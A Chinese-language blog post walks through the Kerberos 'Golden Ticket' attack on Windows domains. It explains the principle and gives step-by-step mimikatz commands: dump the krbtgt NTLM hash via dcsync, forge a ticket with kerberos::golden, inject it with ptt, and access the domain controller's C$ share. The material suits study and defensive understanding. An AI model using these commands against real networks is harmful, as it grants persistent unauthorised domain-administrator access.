黄金票据


黄金票据

原理

在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个Logon Session Key和TGT,而Logon Session Key并不会保存在KDC中,krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。

关于Kerberos认证可以参考下面的链接 ,https://daiker.gitbook.io/windows-protocol/

制作黄金票据条件

  1. 域名称
  2. 域的SID值
  3. 域的KRBTGT账户NTLM-HASH
  4. 伪造用户名,可以是任意用户名

具体步骤

获取域名称和域控机器名

通过命令systeminfo可以获取到域名为sun.com

net config workstation 也可以获取到域名和其他信息

nltest /DCLTST:域名

或者 ping -a 域控ip

获取SID的值

用户SID去掉后三位即为域SID,这里的域SID即S-1-5-21-3388020223-1982701712-4030140183

获取krbtgt的哈希值

通过mimikatz中的 lsadump::dcsync /domain:superman.com /user:krbtgt命令获取krbtgt的哈希值,也可以使用hashdump获取

krbtgt:502:aad3b435b51404eeaad3b435b51404ee:65dc23a67f31503698981f2665f9d858:::

65dc23a67f31503698981f2665f9d858即为krbtgt的ntlm

伪造票据

mimikatz # kerberos::golden /admin:administrator /domain:sun.com /sid:S-1-5-21-3388020223-1982701712-4030140183 /krbtgt:65dc23a67f31503698981f2665f9d858 /ticket:golden.kiribi

获取权限

清空本地票据缓存,导入伪造的票据

kerberos::list   #查看本地保存的票据,观察client name

kerberos::purge  #清除本地票据缓存

Kerberos::ptt golden.kiribi  #导入伪造的黄金票据

kerberos::list   #查看本地保存的票据,观察client name是否变为我们票据中的用户名

证明此时票据已经导入,dir \\DC\c$ 已经与域控建立连接


文章作者: moy1
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 moy1 !
  目录